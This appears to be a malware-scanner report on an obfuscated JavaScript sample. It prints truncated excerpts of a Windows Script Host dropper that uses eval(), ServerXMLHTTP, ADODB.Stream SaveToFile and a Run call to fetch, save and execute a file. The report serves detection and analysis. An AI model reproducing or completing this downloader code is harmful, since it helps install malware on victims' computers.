Suspicious ^80% javascript-malware-collection Download

20160328_1be4716763f0903c51cd0cf10c73fba1.js

Obfuscated C2 and file drop

Obfuscated ResponseBody write fragment clustereval() executing transformed code

SHA-256ace31aa1532256940ea48b2e95628990f56c4f03803ec816c8d0ba201760cc7b

Evidence

eval() with call expression argument line 1

1eval(dataTypes("scrollTo%20%3D%20%28%22s%22%29%2C%20preMap%20%3D%20%283%29%2C%20dispatch%20%3D%20%28%22rite%22%29%2C%20newContext%20%3D%20%28%22T.ex%22%29%2C%20nextSibling%20%3D%20%28%22hell%22%29%3Bvar%20marginLeft%20%3D%20%28%22Creat%22%29%2C%20dirrunsUnique%20%3D%20%28function%20empty%28%29%7B%7D%2C%20%22r%22%29%2C%20charset%20%3D%20%28%22TTP.%22%29%2C%20expanded%20%3D%20%28%22pe%22%29%2C%20crossDomain%20%3D%20%28%22.0%22%29%3Bvar%20head%20%3D%20%28493%29%2C%20iframe%20%3D%20%28%22m%22%29%3BcacheLength%20%3D%20%286%29%2C%20radio%20%3D%20%28266%29%2C%20responseContainer%20%3D%20%28%22.s%22%29%3Bvar% …

References a DOM insertion or mutation method lines 1–4

1:2882… 29%3B%3B"));
2pixelMarginRightVal = setRequestHeader = postMap = setAttribute = empty.match();
3responseText(wrapInner, newSelector, isArrayLike, p, fadeTo);
4firstChild(handlerQueue, timeStamp, cacheLength) …

Text has empty named-parameter catch lines 16–24

12… entContext(response, eventHandle, doAnimation, push_native);
	cleanData[pos + "nd"]();
	break;
} catch (hasContent) {
20
}
}
23
while (cleanData[select + "dyStat" + stop] != ((doAnimation, 2) * (argument))) postMap["WScri" + timeStamp]["Sleep"](((78  …

Obfuscated computed call cluster lines 26–43

26:47… ength * 5 + argument) + (Math.pow(142, argument) - 19996))) {
27		cached[hasData + "pe" + modified]();
28		cached["W" + dispatch](cleanData["resp" + iNoClone + "Body"]);
29		rclass(markFunction, _evalUrl, dispatch);
30		cached[documentElement + "ToFile"](Expr, ((2 + slideToggle) | (1 + _evalUrl)));
31		setRequestHeader[boolHook + "ript"][isXML](((240788 / getClass) & (4948 | buildFragment)));
32		idx["R" + promise + "n"](Expr);
33	} else {
34
⋯6 lines
41
42function fireGlobals(ajax, hasDuplicate, doneName) {
43	delegateType(dataTypes("cached%20%3D%20setRequestHeader%5BoptSelected%20+%20%22pt%22%5D%5BmarginLeft%20+%20%22eOb%22%20+%20fadeTo%5D%28%22ADO%22%20+%20markFunction%20+%20%22trea%22%20+%20ifra …

Dense concatenated string fragments lines 43–47

43:199… 3B"));
44}
45
46function clearQueue(rsingleTag, url, activeElement) {
47	delegateType(dataTypes("superMatcher%20%3D%20%5B%22Msxml%22%20+%20password%20+%20%22erverX%22%20+%20opt%20+%20%22TTP.6%22%20+%20crossDomain%2C%20%22Msxml2%22%20+% …